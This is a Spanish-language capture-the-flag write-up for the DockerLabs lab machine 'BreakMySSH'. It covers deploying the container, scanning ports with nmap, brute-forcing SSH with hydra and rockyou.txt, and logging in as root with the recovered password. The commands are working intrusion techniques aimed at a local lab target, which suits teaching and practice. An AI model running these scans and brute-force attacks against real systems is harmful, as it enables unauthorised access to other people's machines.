BreakMySSH

Datos de la máquina	
Nombre	BreakMySSH
Sistema Operativo	Linux
Dificultad	Muy Fácil
Fecha de Creación	29/05/2024
Autor	El Pingüino de Mario
Plataforma	DockerLabs

Fase 1. Despliegue y Reconocimiento Inicial

Despliegue de la máquina

```
sudo bash auto_deploy.sh breakmyssh.tar
```

Verificación de conectividad

```
ping -c 1 172.17.0.2
```

Resultado:

```
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.141 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.141/0.141/0.141/0.000 ms
```

NOTA:

Rango TTL	Sistema Operativo
0-64	Linux/Unix
65-128	Windows

En este caso, `TTL` = 64 confirma que estamos ante un sistema Linux

Fase 2: Enumerción de Puertos

Escaneo rápido de puertos

```
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2
```

Desglose del comando:

`sudo nmap`: Ejecuta nmap con privilegios de superusuario
`-p`: Escanea todos los puertos (1-65535)
`--open`: Sólo muestra los puertos abiertos
`-sS`: SYN Scan (sigiloso, no completa el handshake TCP)
`--min-rate 5000`: Envía mínimo 5,000 paquetes por segundo
`-vvv`: Máximo nivel de verbosidad
`-n`: No realiza resoluciones DNS (más rápido)
`-Pn`: Asume host activo (no envía ping previo)
`172.17.0.2`: Dirección IP de la máquina

Resultado:

```
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
MAC Address: 06:B5:71:27:BC:61 (Unknown)
```

Podemos observar que solamente tenemos el puerto 22 (SSH) accesible

Fase 3. Ataque de Fuerza Bruta (SSH)

Al no tener ninguna credencial (usuario o contraseña), tendremos que hacer un ataque SSH a "ciegas" y esto lo haremos de la siguiente manera:

```
hydra -L /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt
-P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

Desglose del comando:

- **`hydra:`** Ejecutamos la herramienta para aplicar fuerza bruta
- **`-L /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlists.txt:`** Especifica una lista de logins (nombres de usuario). Hydra lee este archivo y probará cada nombre de usuario que contenga (**-L** porque no conocemos el usuario y le pasamos el .txt)

- `-P /usr/share/wordlists/rockyou.txt:` Especifica una lista de passwords (contraseñas). Hydra usará el diccionario y probará cada contraseña con cada usuario de la lista anterior (-P /usr/share/wordlists/rockyou.txt porque no conocemos la contraseña y le pasamos el .txt)
- `ssh://172.17.0.2:` Definimos el servicio y el objetivo del ataque

Resultado:

```
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: root   password: estrella
```

Credenciales encontradas, `usuario` **root** y `contraseña` **estrella**

Fase 4. Acceso Inicial (SSH)

Conexión SSH

```
ssh root@172.17.0.2
```

Al solicitar la contraseña, introducimos **estrella** y tenemos acceso al sistema

Verificación del usuario actual

```
whoami
```

Resultado: `root`

Vemos que directamente ya somos **root**, pero vamos a verificar si realmente somos root:

```
id
```

Resultado:

```
uid=0(root) gid=0(root) groups=0(root)
```

Al ver nuestra salida, podemos identificar que realmente somo usuarios root (`uid = 0 (root)`), Si no fuéramos **root** nuestra salida sería distinta, por ejemplo:

```
uid=1000(root) gid=1000(root) groups=1000(root), 24(cdrom), ...
```

¡Máquina completada!